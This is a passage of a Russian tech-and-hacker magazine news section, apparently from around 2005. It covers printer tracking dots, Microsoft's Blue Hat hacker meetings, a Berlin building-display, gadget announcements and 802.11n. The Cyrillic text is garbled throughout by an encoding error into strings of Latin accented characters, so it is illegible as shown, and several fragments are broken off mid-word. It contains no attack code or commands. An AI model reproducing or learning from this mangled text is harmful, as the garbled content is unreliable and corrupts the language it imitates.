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ÏÑÈÕÎËÎÃÈß � ÊÐÓÒÀß ØÒÓÊÀ. ß ÅÉ ÑÒÀË ÇÀÌÎÐÀ×ÈÂÀÒÜ-

Ñß ÍÅÑÊÎËÜÊÎ ËÅÒ ÍÀÇÀÄ È ÒÅÏÅÐÜ ÎÒÌÅ×ÀÞ ÄËß ÑÅÁß,

×ÒÎ ÝÒÎ ÍÅ ÇÐß. ÊËÀÑÑÍÎ, ÊÎÃÄÀ ÒÛ ÏÎÍÈÌÀÅØÜ ÐÅÀËÜ-

ÍÛÅ ÌÎÒÈÂÛ ÊÀÊÈÕ-ÒÎ ×ÅËÎÂÅ×ÅÑÊÈÕ ÏÎÑÒÓÏÊÎÂ. ÊÎÃÄÀ

ÝÒÎ ÓÑÊÎÐßÅÒ ÈËÈ ÏÐÎÑÒÎ ÏÎÌÎÃÀÅÒ ÐÅØÀÒÜ ÐÀÇËÈ×-
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ÇÀÍÎ È ×ÒÎ Ê ×ÅÌÓ ÏÐÈÂÎÄÈÒ.
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ËÞ×ÀÅØÜÑß ÍÀ ÄÐÓÃÈÕ. ÊÎÃÄÀ ÍÀ×ÈÍÀÅØÜ ×ÓÂÑÒÂÎÂÀÒÜ

ËÞÄÅÉ, ÏÎÍÈÌÀÒÜ, ×ÒÎ ÑÊÐÛÂÀÅÒÑß ÇÀ ÑËÎÂÀÌÈ. ÐÅÀËÜ-

ÍÛÉ ÌÎÒÈÂ, À ÍÅ ÍÀÁÎÐ ÔÐÀÇ Ñ ÍÅÊÎÒÎÐÛÌ ÑÌÛÑËÎÌ.

ÊÎÃÄÀ ÒÛ ÏÐÎÑÒÎ ÏÎÍÈÌÀÅØÜ, ×ÒÎ ÒÅÁÅ ÍÓÆÍÎ ÎÒ ÆÈÇÍÈ.

×ÅÌ ÒÛ ÕÎ×ÅØÜ ÇÀÍÈÌÀÒÜÑß, ÊÅÌ ÐÀÁÎÒÀÒÜ, ×ÒÎ ÏÎÊÓ-

ÏÀÒÜ, ÂÎ ×ÒÎ ÎÄÅÂÀÒÜÑß. ÊÀÊÓÞ ÊÎÌÏÀÍÈÞ ÈÌÅÒÜ ÂÎÊÐÓÃ

ÑÅÁß. È Â ÄÅÉÑÒÂÈÒÅËÜÍÎÑÒÈ, ×ÒÎ ÍÓÆÍÎ ÒÅÁÅ, À ÍÅ ÊÀ-

ÊÎÉ-ÒÎ ÎÁÐÀÇ, ÍÀÂßÇÀÍÍÛÉ ÊÎÌÏÀÍÈßÌÈ-ÁÐÅÍÄÀÌÈ, ÊÎÒÎ-

ÐÛÅ ÇÀ ÒÅÁß ÏÐÈÄÓÌÀËÈ ÖÅÍÍÎÑÒÈ. ÍÅ ÕÎ×Ó ÑÊÀÇÀÒÜ, ×ÒÎ

ß ÒÀÊÎÉ ÊÐÓÒÎÉ È ÂÛØÅ ÂÑÅÃÎ ÝÒÎÃÎ. ÍÅÒ, ÍÎ ÏÎÍÈÌÀ-

ÍÈÅ ÒÎÃÎ, ×ÒÎ ÍÀ ÒÅÁß ÏÛÒÀÞÒÑß ÂËÈßÒÜ È ÒÛ ÑÏÎÊÎÉÍÎ

ÐÅÀÃÈÐÓÅØÜ ÍÀ ÝÒÎ, ÎÒÊËÀÄÛÂÀß ÍÅÍÓÆÍÓÞ ÈÍÔÎÐÌÀ-

ÖÈÞ ÍÅ Â ÏÎÄÑÎÇÍÀÍÈÅ, À ÎÑÒÀÂËßß ÅÅ ÍÀ ÑÎÇÍÀÒÅËÜ-

ÍÎÌ ÓÐÎÂÍÅ, ÒÛ ÍÀ×ÈÍÀÅØÜ ×ÓÂÑÒÂÎÂÀÒÜ ÑÅÁß ÑÂÎÁÎÄ-

ÍÅÅ. ÈÌÅÍÍÎ ÑÂÎÁÎÄÍÅÅ. ÏÎÒÎÌÓ ×ÒÎ ÏÎÍÈÌÀÅØÜ, ×ÒÎ

ÌÎÆÅØÜ ÄÅËÀÒÜ ÑÂÎÉ ÂÛÁÎÐ, À ÍÅ ÏÎËÓ×ÅÍÍÛÉ ÈÇÂÍÅ.

È ÒÀÊ ÂÎ ÂÑÅÌ. ×ÅÒÊÎÅ ÏÎÍÈÌÀÍÈÅ ÑÅÁß, ×ÅÃÎ ÒÛ ÕÎ-
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Öåíà äîãîâîðíàÿ.
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ëÿþòñÿ êêàê èèíôîðìàöèÿ 

ê ððàçìûøëåíèþ. 

Ëèöà, èèñïîëüçóþùèå ääàííóþ

èíôîðìàöèþ ââ ïïðîòèâîçàêîí-

íûõ ööåëÿõ, ììîãóò ááûòü ïïðèâëå-
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äàêöèÿ ââ ýýòèõ ññëó÷àÿõ îîòâåò-

ñòâåííîñòè ííå ííåñåò.

Ðåäàêöèÿ íå íåñåò îòâåòñòâåí-

íîñòè çà ñîäåðæàíèå ðåêëàì-

íûõ îáúÿâëåíèé â íîìåðå. Çà

ïåðåïå÷àòêó íàøèõ ìàòåðèàëîâ

áåç ñïðîñà � ïðåñëåäóåì.
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ÕÈÒÐÛÅ ÏÐÈÍÒÅÐÛ
Â äåòñòâå ÿ ìå÷òàë ñòàòü çëûì è ìåãàáîãàòûì ôàëüøèâîìîíåò÷è-
êîì. Ñâîé ïåðâûé ôàëüøèâûé äîëëàð ñ èçîáðàæåíèåì õðþøêè
âìåñòî ïðåçèäåíòà, êóïëåííûé â äåòñêîì îòäåëå óíèâåðìàãà, ÿ ñáûë
ñòàðóøêå-ñåëåäî÷íèöå ïîä ïîêðîâîì íî÷è. Ïîòîì äàæå ïðîáîâàë èõ
ïå÷àòàòü íà ìàòðè÷íîì ãðîáó, íî äàëüøå ýòîãî äåëî íå ïîøëî. Êàê
íè ñòðàííî, ýòî ñîøëî ìíå ñ ðóê è î÷åíü ñêîðî ÿ çàâÿçàë ñ ýòèì
òåìíûì äåëîì. È ñëàâà Áîãó, òàê êàê äëÿ ñàìîïàëüíûõ ôàëüøèâî-
ìîíåò÷èêîâ íûí÷å íàñòàëè íå ëó÷øèå âðåìåíà. Îêàçûâàåòñÿ, òå-
ïåðü ëàçåðíûå ïðèíòåðû îò âåäóùèõ ïðîèçâîäèòåëåé ïðè êàæäîé
ïå÷àòè îñòàâëÿþò ñêðûòûå îïîçíàâàòåëüíûå êîäû íà áóìàãå. Óâè-
äåòü æåëòûå òî÷êè, âûñòðîåííûå â îïðåäåëåííîì ïîðÿäêå, ìîæíî
òîëüêî ïîä ìèêðîñêîïîì è â óëüòðàôèîëåòîâîì èçëó÷åíèè. Ïî íèì
ýêñïåðòû, ïðè íåîáõîäèìîñòè, óñòàíîâÿò äàòó ñîâåðøåíèÿ êîïèè è
ñåðèéíûé íîìåð ïðèíòåðà, íà êîòîðîì îíà áûëà ñäåëàíà. 
Ïåðâûìè î íåâèäèìûõ çíàêàõ óçíàëè êðåïêèå ïàðíè èç Electronic
Frontier Foundation � îðãàíèçàöèè, çàùèùàþùåé ïðàâà ïîòðåáèòå-
ëåé. Êîãäà îíè ïîòðåáîâàëè îáúÿñíåíèé, Ñåêðåòíàÿ Ñëóæáà ÑØÀ
çàÿâèëà, ÷òî ýòî ÷àñòü èõ ñîãëàøåíèÿ ñ ïðîèçâîäèòåëÿìè ïðèíòåðîâ,
íàïðàâëåííîãî íà áîðüáó ñ ôàëüøèâîìîíåò÷èêàìè. 
Íåñìîòðÿ íà ýôôåêòèâíîñòü òåõíîëîãèè, EFF íå ñîãëàñíà ñ ïîëèòè-
êîé ïðàâèòåëüñòâà. Íåêîòîðûå ïîäïîëüíûå äâèæåíèÿ (ïîëèòè÷åñ-
êèå, ðåëèãèîçíûå) íóæäàþòñÿ â àíîíèìíîñòè ïðè ïå÷àòè ñâîèõ áðî-
øþð è ïëàêàòîâ (õîòÿ, êàê ãîâàðèâàë ïîêîéíûé Äçåðæèíñêèé:
«Çà÷åì Âàì ñâîáîäà, åñëè, êîíå÷íî, Âû íå âðàã íàðîäà?»), à Ñåê-
ðåòíàÿ Ñëóæáà òåì ñàìûì âìåøèâàåòñÿ â èõ ÷àñòíóþ æèçíü. Òàêæå,
ïîñêîëüêó î âíåäðåíèè îïîçíàâàòåëüíûõ çíàêîâ â ïå÷àòü îôèöèàëü-
íî íå ñîîáùàëîñü, îñòàåòñÿ çàãàäêîé, ê ÷åìó åùå óñïåëè ïðèëîæèòü
ðóêó ñåêðåòíûå ñòðóêòóðû. 
Â îáùåì, åñëè òû âëàäåëåö ïðèíòåðà îò Xerox, Canon, Tektronix, Ricoh,
Lexmark, Kyocera, Lanier, Konica, Minolta, HP Color LaserJet, Epson èëè
Brother, áóäü îñòîðîæíåå. Êàæäûé ðàç, êîãäà òû ðàñïå÷àòûâàåøü ñïè-
îíåðåííóþ èç èíåòà êóðñîâóþ, Áîëüøîé Áðàò ñëåäèò çà òîáîé.

ÃÎËÓÁÛÅ ÕÀÊÅÐÛ ÍÀ
ÑËÓÆÁÅ MICROSOFT

Êàê èçâåñòíî, õàêåðñêèé ìèð ñîñòîèò èç òðåõ öâåòîâ � ÷åðíûé, áå-
ëûé, ñåðûé. ×åðíûìè øëÿïàìè íàçûâàþò êîìïüþòåðíûõ âçëîìùèêîâ,
áåëûìè � security-ñïåöèàëèñòîâ, à ñåðûìè � òåõ æå âçëîìùèêîâ, íî
ïóáëèêóþùèõ ðåçóëüòàòû ñâîèõ èññëåäîâàíèé. Òåïåðü ê ýòèì öâåòàì
äîáàâèëñÿ åùå îäèí � õàðàêòåðíî ãîëóáîé. Ãîëóáûìè õàêåðàìè íûí-
÷å íàçûâàþò òåõ, êòî ñòîèò íà ñëóæáå Microsoft è ïðîâåðÿåò äëÿ íåå
çàùèùåííîñòü ïðîãðàìì (ïðàâäà, öâåò ýòîò áîëåå ÷åì ñïîðíûé, êàê
ãîâîðèòñÿ :)). Áèëëè, íàêîíåö, îñîçíàë, ÷òî ñ õàêåðàìè ëó÷øå äðó-
æèòü, ÷åì âîåâàòü, è íàìåðåí êàæäûå ïîëãîäà ïðîâîäèòü áëóõýòî-
âûå òóñîâêè ñ îáñóæäåíèåì àêòóàëüíûõ äûð è ñïîñîáîâ çàùèòû
îñåé. Ïåðâàÿ âñòðå÷à ñîòðóäíèêîâ Microsoft è èçâåñòíûõ õàêåðîâ
ñîñòîÿëàñü åùå â ìàðòå, ãäå áûëî íàãëÿäíî ïðîäåìîíñòðèðîâàíî,
êàê çàìàíèòü ïîëüçîâàòåëÿ â ïîäñòàâíóþ áåñïðîâîäíóþ ñåòü. Â
ïðîøëîì ìåñÿöå ñîñòîÿëàñü âòîðàÿ âñòðå÷à Blue Hat V2, êóäà ïðèã-
ëàñèëè òàêèõ èìåíèòûõ ýêñïåðòîâ, êàê Áðåòò Ìóð èç Security-
Assessment.com, Äýâèä Ìåéíîð èç Internet Security System, íåçàâè-
ñèìûé ñïåöèàëèñò ïî êîìïüþòåðíîé áåçîïàñíîñòè Äýí Êàìèíñêè.
Èì ïðåäëîæèëè âçëîìàòü íåêîòîðûå ïðîãðàììû Microsoft, è çà ýòèì
ïðîöåññîì ñëåäèëè òûñÿ÷è ñîòðóäíèêîâ êîìïàíèè, èçó÷àÿ ïîâåäå-
íèå õàêåðîâ. Äëÿ çàãðóçêè òðîÿíà â ïàìÿòü ó÷àñòíèêè øîó çàäåéñòâîâà-
ëè USB-íîñèòåëü, à äëÿ íåïîñðåäñòâåííî âçëîìà � ñèñòåìó Direct
Memory Access. Ðå-
çóëüòàòàìè âñòðå÷è
îñòàëèñü äîâîëüíû îáå
ñòîðîíû. Microsoft �
ïîòîìó ÷òî îíà ïîëó-
÷èëà õîðîøèé è íàã-
ëÿäíûé óðîê, õàêåðû �
ïîòîìó ÷òî êîìïàíèÿ,
íàêîíåö, ñòàëà ïðèñ-
ëóøèâàòüñÿ ê èõ ìíå-
íèþ îòíîñèòåëüíî áå-
çîïàñíîñòè ìàçäàéíî-
ãî ñîôòà. 
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ÄÎÌ-ÄÈÑÏËÅÉ
Â Áåðëèíå ïîÿâèëñÿ ñàìûé áîëüøîé â ìèðå äèñïëåé ñ ñàìûì ìàëåíü-
êèì ðàçðåøåíèåì. Â ðîëè äèñïëåÿ âûñòóïàåò âîñüìèýòàæíûé äîì, ãäå
êàæäîå îêíî ÿâëÿåòñÿ îòäåëüíûì «ïèêñåëåì», à âñå îñâåùåíèå â äîìå
óïðàâëÿåòñÿ ïðè ïîìîùè êîìïüþòåðà. Îñìûñëåííîå èçîáðàæåíèå ïîëó-
÷àåòñÿ, åñëè îäíîâðåìåííî çàãîðàåòñÿ îïðåäåëåííûé íàáîð îêîí. Êî-
íå÷íî, ñ îäíîé ñòîðîíû, äëÿ äèñïëåÿ âñåãî 144 ïèêñåëÿ (18 õ 8) � ýòî
îòêðîâåííî ìàëî, îäíàêî ýòîãî äîñòàòî÷íî, ÷òîáû ïðîêðó÷èâàòü êîðîò-
êèå ñîîáùåíèÿ è îòîáðàæàòü ïðîñòåíüêèå äèíàìè÷åñêèå êàðòèíêè. Îä-
íàêî îñíîâíàÿ çàäóìêà àâòîðîâ â òîì, ÷òî äèñïëååì ìîæíî óïðàâëÿòü ñ
ïîìîùüþ ñîòîâîãî òåëåôîíà. Íà íåì ìîæíî ñàìîñòîÿòåëüíî íàðèñî-
âàòü êàêóþ-íèáóäü êàðòèíêó èëè äàæå ñûãðàòü â îäíó èç ìèíè-èãð. Íàï-
ðèìåð, ÷òîáû ïîèãðàòü â «ïèíã-ïîíã» äîñòàòî÷íî ïðîñòî çàãðóçèòü ñåáå
íà ìîáèëüíèê ñïåöèàëüíîå ïðèëîæåíèå, ïîçâîíèòü íà óêàçàííûé íîìåð

è äîæäàòüñÿ, ïîêà ê
èãðå ïîäêëþ÷èòñÿ åùå
îäèí ÷åëîâåê. Âñå, ìîæ-
íî íà÷èíàòü èãðàòü. Óï-
ðàâëÿòü äâèæåíèåì «ðà-
êåòêè» ìîæíî ïðè ïî-
ìîùè êíîïîê «5» è «8»,
à ïðîèãðûâàåò òîò, êòî
ïåðâûì ïðîïóñòèò øà-
ðèê. Åñòåñòâåííî, óäî-
âîëüñòâèå íå áåñïëàò-
íîå � 1,24 åâðî çà ìè-
íóòó, íî ýòî ÿâíî òîãî
ñòîèò. Òîëüêî, ê ñîæà-
ëåíèþ, äàííàÿ àêöèÿ
ïðîäëèòñÿ ñîâñåì íå-
äîëãî � âñåãî íåñ-
êîëüêî íåäåëü.

DVD ×ÅÐÅÇ ÔÀÐÛ
Âñå-òàêè òþíèíã àâòîìîáèëåé ñòàíîâèòñÿ â ïîñëåäíåå âðåìÿ âñå áîëüøå
ïîõîæèì íà ìîääèíã, îñîáåííî ñ ðàçâèòèåì ñîâðåìåííûõ òåõíîëîãèé.
Òàê, íàïðèìåð, ôèðìà Screenlights ïðåäëîæèëà âñòðàèâàòü â ôàðû ïîë-
íîöåííûå LCD-äèñïëåè. Ïðè÷åì èõ ìîæíî ïîäêëþ÷èòü ê àâòîìîáèëüíî-
ìó DVD-ïðîèãðûâàòåëþ èëè TV-òþíåðó, òàê ÷òî òåïåðü ôèëüìîì ñìî-
æåøü íàñëàæäàòü íå òîëüêî òû, íî è âñå îêðóæàþùèå. Ýêðàíû âûïóñêà-
þòñÿ â ÷åòûðåõ âàðèàíòàõ � 3, 4, 5 è 7 äþéìîâ è ïîäõîäÿò äëÿ áîëüøè-
íñòâà èíîìàðîê. Êîíå÷íî, íàéòè ïðàêòè÷åñêîå ïðèìåíåíèå ïîäîáíîìó
äèñïëåþ äîâîëüíî ñëîæíî � äîïîëíèòåëüíîãî ñâåòà îò LCD, ñ÷èòàé, íè-
êàêîãî (âîò äðóãîå äåëî, åñëè á ýòî áûë OLED), à ñìîòðåòü êèíî, ñèäÿ íà
ñêëàäíîì ñòóëå ïåðåä ôàðîé, âðîäå êàê âûãëÿäèò ñîâñåì ãëóïî. Äà è ñòî-
èò ýòà èãðóøêà äàëåêî íå äåøåâî, äàæå ñàìûé ìàëåíüêèé ýêðàí÷èê (3
äþéìà) îáîéäåòñÿ â 900 áàêñîâ, à âåäü èõ íàäî ïîêóïàòü ñðàçó â ïàðå, íå
äåëàòü æå ìàøèíó «îäíîãëàçîé». Íî ó ïîäîáíîãî óêðàøàòåëüñòâà ÿâíî
íàéäóòñÿ ñâîè ïîêóïàòåëè�

ÑÂÅÒßÙÈÅÑß 
ÒÀÏÎ×ÊÈ
ß óâåðåí, òû íå ðàç ñòàëêèâàëñÿ ñî
ñëåäóþùåé ïðîáëåìîé. Åñëè ïðî-
ñûïàåøüñÿ ïîñðåäè íî÷è, íàïðè-
ìåð, ñ íåïðåîäîëèìûì æåëàíèåì
çàãëÿíóòü íà êóõíþ è ÷åì-íèáóäü
ïîäêðåïèòüñÿ, òî äîáèðàòüñÿ äî
ìåñòà íàçíà÷åíèÿ ïðèõîäèòñÿ ïðàê-
òè÷åñêè íà îùóïü. Âåäü, íå ðàçáóäèâ îñòàëüíûõ îáèòàòåëåé êâàðòèðû, ñâåò-
òî íå âêëþ÷èøü. À ïîêà ïðåîäîëååøü ýòî íåáîëüøîå ðàññòîÿíèå, óñïåâà-
åøü, êàê ìèíèìóì, íåñêîëüêî ðàç ñïîòêíóòüñÿ, ñòóêíóòüñÿ î êàæäûé âñòðå-
÷àþùèéñÿ óãîë, à çàîäíî è íåíàðîêîì íàñòóïèòü íà ñîííóþ êîøêó. Íåïðè-
ÿòíî� íî íåäàâíî îäíîìó àìåðèêàíñêîìó èçîáðåòàòåëþ ïðèøëà â ãîëîâó
çàìå÷àòåëüíàÿ èäåÿ. Îí ïðåäëîæèë âñòðîèòü ïîäñâåòêó ïðÿìî â òàïî÷êè,
ïðè÷åì íå òîëüêî ïðåäëîæèë, íî è ðàçðàáîòàë, è äîâåë èäåþ äî ñåðèéíîãî
ïðîèçâîäñòâà. Â èòîãå èçîáðåòåíèå âûãëÿäèò ñëåäóþùèì îáðàçîì. Â íîñî-
âîé ÷àñòè ïîäîøâû êàæäîãî òàïî÷êà âñòðàèâàåòñÿ ïî ñâåòîäèîäó, à íàïðÿ-
æåíèå ïîñòóïàåò îò ñòàíäàðòíîé áàòàðåéêè. Íî ýòèì äåëî íå îãðàíè÷èâàåò-
ñÿ: â êàæäûé èç íèõ âñòðîåí åùå è ñåíñîð îñâåùåíèÿ, êîòîðûé ðåøàåò,
íóæíà ëè ïîäñâåòêà, èëè â êîìíàòå è òàê ñâåòëî, âåñîâîé ñåíñîð, êîòîðûé
âêëþ÷àåò ïîäñâåòêó, òîëüêî åñëè â òàïî÷êàõ íàõîäÿòñÿ ÷üè-òî íîãè, à òàêæå
òàéìåð, êîòîðûé ïîñëå òîãî êàê òû ñíèìåøü òàïî÷êè, åùå íåêîòîðîå âðåìÿ
íå ãàñèò ïîäñâåòêó, ÷òîáû òû ìîã ïðè ñâåòå ñïîêîéíî äîáðàòüñÿ äî êðîâà-
òè. Íàâåðíîå, òàêóþ «îáóâü» ìîæíî èñïîëüçîâàòü è â êà÷åñòâå îáû÷íîãî
ôîíàðèêà, âîò òîëüêî íå óäîáíî, ïîæàëóé, äåðæàòü òàïî÷åê â ðóêå, òàê ÷òî
íàäî áóäåò ñåðüåçíî ïîðàáîòàòü íàä ðàñòÿæêîé. Êñòàòè, ñóïåðòàïî÷êè óæå
ïîñòóïèëè â ïðîäàæó ïî öåíå âñåãî â 39.95 àìåðèêàíñêèõ ïðåçèäåíòîâ.

ÑÅÍÑÎÐÍÛÉ 
ÌÎÁÈËÜÍÈÊ

Èíòåðåñíûé ïðîòîòèï ñîòîâîãî òåëåôîíà ïðîäåìîíñòðèðîâàëà ôèðìà
Mitsubishi. Òåëåôîí âûïîëíåí â ôîðì-ôàêòîðå ñòàíäàðòíîé ðàñêëàäóøêè,
îäíàêî åãî îñíîâíîå îòëè÷èå îò âñåõ îñòàëüíûõ ìîáèëüíèêîâ ñîñòîèò â òîì,
÷òî íà ìåñòå êëàâèàòóðû íàõîäèòñÿ ÷óâñòâèòåëüíûé ýêðàí. Ïðè÷åì íà íåì
îòîáðàæàåòñÿ òîëüêî òîò íàáîð êíîïîê, êîòîðûé àêòóàëåí â äàííûé ìîìåíò.
Åñëè òû ñîáèðàåøüñÿ ïîçâîíèòü, òî íà ýêðàíå âèäíû òîëüêî öèôðû è óïðàâ-
ëÿþùèå êíîïêè, åñëè íàáèðàåøü ñìñ, òî � òîëüêî áóêâû íóæíîãî ÿçûêà, åñ-
ëè èãðàåøü â êàêóþ-íèáóäü èãðó, òî � åå ñïåöèôè÷åñêîå óïðàâëåíèå. Òàê êàê
ýêðàí îáîðóäîâàí îáðàòíîé îòäà÷åé, òî íà îùóïü îí ïðàêòè÷åñêè íå áóäåò îò-
ëè÷àòüñÿ îò ïðèâû÷íîé êëàâèàòóðû, è ìîæíî áóäåò ñïîêîéíî íàáèðàòü òåêñò,
äàæå íå ñìîòðÿ íà ñåíñîðíûé ýêðàí. Äîïîëíèòåëüíî âòîðîé ýêðàí ñìîæåò ðà-
áîòàòü â êà÷åñòâå ïðîäîëæåíèÿ îñíîâíîãî äèñïëåÿ. È ïîñëåäíåå íîâîââåäå-
íèå � ìàòåðèàë, èç êîòîðîãî èçãîòîâëåí êîðïóñ, ñëåãêà ïðîçðà÷åí, à ïîä íèì
ðàñïîëàãàåòñÿ ìàòðèöà ñâåòîäèîäîâ, â ðåçóëüòàòå ìîæíî áóäåò îòîáðàæàòü
èíôîðìàöèþ, ê ïðèìåðó, î ïðîïóùåííûõ çâîíêàõ ïðÿìî íà âíåøíåé ïîâåðõ-
íîñòè òåëåôîíà. Óâû, íèêàêèõ êîíêðåòíûõ ñâåäåíèé íè î íàçâàíèè íîâèíêè,
íè î ïðåäïîëîæèòåëüíîé äàòå íà÷àëà ïðîäàæ, ïîêà íå ïîñòóïàëî.
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Âåðíåå, êîíå÷íî, íå ñàìà êîìïàíèÿ, à åå íîâûé îïòè÷åñêèé ïðèâîä, DRW-
1608P2S, îòíîñÿùèéñÿ ê êàòåãîðèè SuperMulti � îí ðàáîòàåò ñ äâóõñëîé-
íûìè äèñêàìè, çàïèñûâàÿ èõ ñî ñêîðîñòüþ 8X, DVD-RAM � ñî ñêîðîñòüþ
5X è DVD+\-RW � ñî ñêîðîñòüþ 16Õ. Â îáùåì, ðàáîòàåò ñî âñåìè âîç-
ìîæíûìè òèïàìè ñóùåñòâóþùèõ äèñêîâ, ïðè÷åì áûñòðî. ×òîáû ê áûñòðî-
òå ïðèáàâèëèñü êà÷åñòâî è íàäåæíîñòü, â ýòîì ïðèâîäå èñïîëüçóåòñÿ íåñ-
êîëüêî ôèðìåííûõ òåõíîëîãèé Asus. Íàïðèìåð, FlextraLink ïðåäîòâðàùà-
åò îøèáêè, ñâÿçàííûå ñ íåäîçàãðóçêîé áóôåðà è èñêëþ÷àåò âîçìîæíîñòü
ïîð÷è äèñêîâ. FlextraSpeed êîíòðîëèðóåò íîñèòåëè è óñòàíàâëèâàåò îïòè-
ìàëüíûå ñêîðîñòè çàïèñè, Ñèñòåìà äâîéíîé äèíàìè÷åñêîé ïîäâåñêè
DDSS II ñòàáèëèçèðóåò îïòè÷åñêóþ ãîëîâêó ïî âåðòèêàëè è ïî ãîðèçîíòà-
ëè, çà ñ÷åò ÷åãî äîñòèãàåòñÿ áîëåå òî÷íîå ñëåæåíèå çà äîðîæêîé, íàðÿäó
ñî ñíèæåíèåì óðîâíÿ âèáðàöèè è øóìà, êîòîðûå âûçâàíû âûñîêîñêîðî-
ñòíûìè ìîòîðàìè. Òåõíîëîãèÿ AFFM áûëà ðàçðàáîòàíà äëÿ ìîäèôèêàöèè
íåðàâíîìåðíîãî ïîòîêà âîçäóõà âíóòðè ïðèâîäà, ïîñêîëüêó ïëàâíîå ðàñï-
ðåäåëåíèå äàâëåíèÿ âåäåò ê óìåíüøåíèþ øóìà è ïîâûøåíèþ ñòàáèëü-
íîñòè. Ïðèâîä ìîíòèðóåòñÿ êàê âåðòèêàëüíî, òàê è ãîðèçîíòàëüíî, à êîìï-
ëåêò ÏÎ âêëþ÷àåò â ñåáÿ óòèëèòû îò Nero è Ulead.

CREATIVE � ÇÂÓ×ÈÒ
È ÏÎÊÀÇÛÂÀÅÒ
Êîìïàíèÿ àíîíñèðîâàëà Zen Vision � ïëååð, ïðåäíàçíà÷åííûé äëÿ
âîñïðîèçâåäåíèÿ ìóçûêè è ïðîñìîòðà ôîòîãðàôèé è âèäåî. Îí îñíà-
ùåí âûñîêîêîíòðàñòíûì ÆÊ-äèñïëååì ðàçìåðîì 3,7 äþéìà, ñ ðàçðå-
øåíèåì 640x480 ïèêñåëåé, ñïîñîáíûì îòîáðàæàòü 262 òûñÿ÷è öâåòîâ è
ïîçâîëÿþùèì ïðîñìàòðèâàòü ôîòîãðàôèè è âèäåî äàæå ïðè ÿðêîì ñîë-
íå÷íîì ñâåòå. Zen èìååò 30 Ãáàéòíûé æåñòêèé äèñê, ìèêðîôîí, êàëåí-
äàðü, ÷àñû è áóäèëüíèê. Ñ êîìïüþòåðîì ñîåäèíÿåòñÿ ÷åðåç ïîðò USB
2.0. Ãàáàðèòíûå ðàçìåðû óñòðîéñòâà ñîñòàâëÿþò 124x74x20 ìì, à âåñèò
îíî âñåãî 239 ãðàìì. Òàêæå Creative ïðåäñòàâèëà îáùåñòâó íîâûå ïîð-
òàòèâíûå êîëîíêè TravelSound 400. Îíè îñíàùåíû äâóìÿ ìèêðîìåáðà-
íàìè NeoTitanium è öèôðîâûì óñèëèòåëåì, ÷òî â èòîãå îáåñïå÷èâàåò 4
Âò êà÷åñòâåííîãî çâóêà. Âñÿ ýòà êîíñòðóêöèÿ èìååò çàùèòó îò óäàðîâ,
ðàáîòàåò äî 35 ÷àñîâ íà îäíîé áàòàðåéêå òèïà ÀÀÀ, ñòèëüíî âûãëÿäèò è
îáëàäàåò ôóíêöèÿìè îáúåìíîãî çâó÷àíèÿ.

ÄÎËÎÉ ÏÐÎÂÎÄÀ!
Íîâàÿ âåðñèÿ ñòàíäàðòà áåñïðîâîäíîé ïåðåäà÷è äàííûõ Wi-Fi óæå íå çà
ãîðàìè. Íå îñòàíàâëèâàÿñü íà äîñòèãíóòîì, òî åñòü íà âåðñèè g, ýòîò
óáèéöà ïðîâîäîâ ïðîäîëæàåò èäòè âïåðåä. Íåäàâíî êîìïàíèè, âõîäÿ-
ùèå â ñîîáùåñòâî ïîä íàçâàíèåì Enchaced Wireless Consortium (EWC),
îáúÿâèëè î ñâîåì ðåøåíèè óñêîðèòü óòâåðæäåíèå ñòàíäàðòà 802.11n,
êîòîðûé áóäåò ðàáîòàòü íà ñêîðîñòè äî 600 Ìáèò\ñåê è âêëþ÷àòü â ñåáÿ
ñàìûå ïîñëåäíèå òåõíîëîãèè, ïîçâîëÿþùèå èñïîëüçîâàòü â áåñïðîâîä-
íûõ ñåòÿõ íîâåéøèå ìóëüòèìåäèéíûå ïðèëîæåíèÿ. Òàêæå èç íîâøåñòâ

îæèäàåòñÿ ïîíèæåííîå ýíåðãîïîòðåáëåíèå, óëó÷øåííàÿ áåçîïàñíîñòü,
èñïîëüçîâàíèå äèàïàçîíîâ, íå òðåáóþùèõ ðàçðåøåíèÿ, à òàêæå âîç-
ìîæíîñòü ïåðåäà÷è äàííûõ íà áîëüøåå ðàññòîÿíèå. Êîãäà ñòàíäàðò ñòà-
íåò ïîâñåìåñòíûì ïîêà íåïîíÿòíî. Õîòÿ íåêîòîðûå ïðîèçâîäèòåëè óæå
îáúÿâèëè î òîì, ÷òî âñêîðå âûïóñòÿò óñòðîéñòâà, åãî ïîääåðæèâàþùèå.

PHILIPS � ÄÎÁÀÂÈÌ
ÒÅÕÍÎËÎÃÈÈ 
Â ÒÊÀÍÜ
Íà ìåæäóíàðîäíîé âûñòàâêå áûòîâîé ýëåêòðîíèêè IFA 2005, ïðîõîäèâ-
øåé â Áåðëèíå, êîìïàíèÿ Philips ïðåäñòàâèëà ôîòîííûé òåêñòèëü �
òêàíü, â êîòîðóþ âñòðîåíû ñâåòîâûå ñèñòåìû, â ðåçóëüòàòå ÷åãî îíà ìî-
æåò èñïîëüçîâàòüñÿ â êà÷åñòâå äèñïëåÿ. Êàæåòñÿ, ÷òî òàêèå ïðåäìåòû,
êàê îäåæäà, ïîëîòåíöà, îáèâêà ìåáåëè è çàíàâåñêè íå ïîõîæè íà ìåñòà,
ãäå ìîæíî ðàçìåñòèòü ñëîæíûå èíòåðàêòèâíûå ñèñòåìû. Íî èíæåíåðû
Philips ñîçäàëè ñïåöèàëüíóþ ïîäëîæêó, êîòîðàÿ ïîëíîñòüþ âûïîëíåíà
èç òêàíè. Íà íåé ïîìåñòèëè ïàññèâíûå ìàòðèöû êîìïàêòíûõ ñâåòîäèî-
äîâ RGB. Ïèêñèëèçèðîâàííûå èñòî÷íèêè ñâåòà ñ îòíîñèòåëüíî áîëüøè-
ìè ðàññòîÿíèÿìè ìåæäó RGB ïèêñåëÿìè áûëè âìîíòèðîâàíû â òàêèå
ïðåäìåòû ïîâñåäíåâíîãî áûòà, êàê ïîäóøêè, ðþêçàêè è êîâðèêè. Òàê
êàê ìàòåðèàëû, ïîêðûâàþùèå èñòî÷íèê ñâåòà, åñòåñòâåííûì îáðàçîì
ðàññåèâàþò ñâåò, êàæäûé ïèêñåëü êàæåòñÿ áîëüøå, ÷åì åñòü íà ñàìîì
äåëå. Òàêèì îáðàçîì, ñâåòîäèîä îñòàåòñÿ ìàëåíüêèì è íåçàìåòíûì, à
òêàíü ñîõðàíÿåò ìÿãêîñòü íà âèä è íà îùóïü. Ýòî îòêðûâàåò ìàññó âîç-
ìîæíîñòåé: ïðîñûïàÿñü ñ õîðîøèì íàñòðîåíèåì, òû ðèñóåøü íà ñâîåé
ìàéêå öâåòî÷åê, à ñ ïëîõèì � òó÷ó. Âñåì âñå ñðàçó ÿñíî.
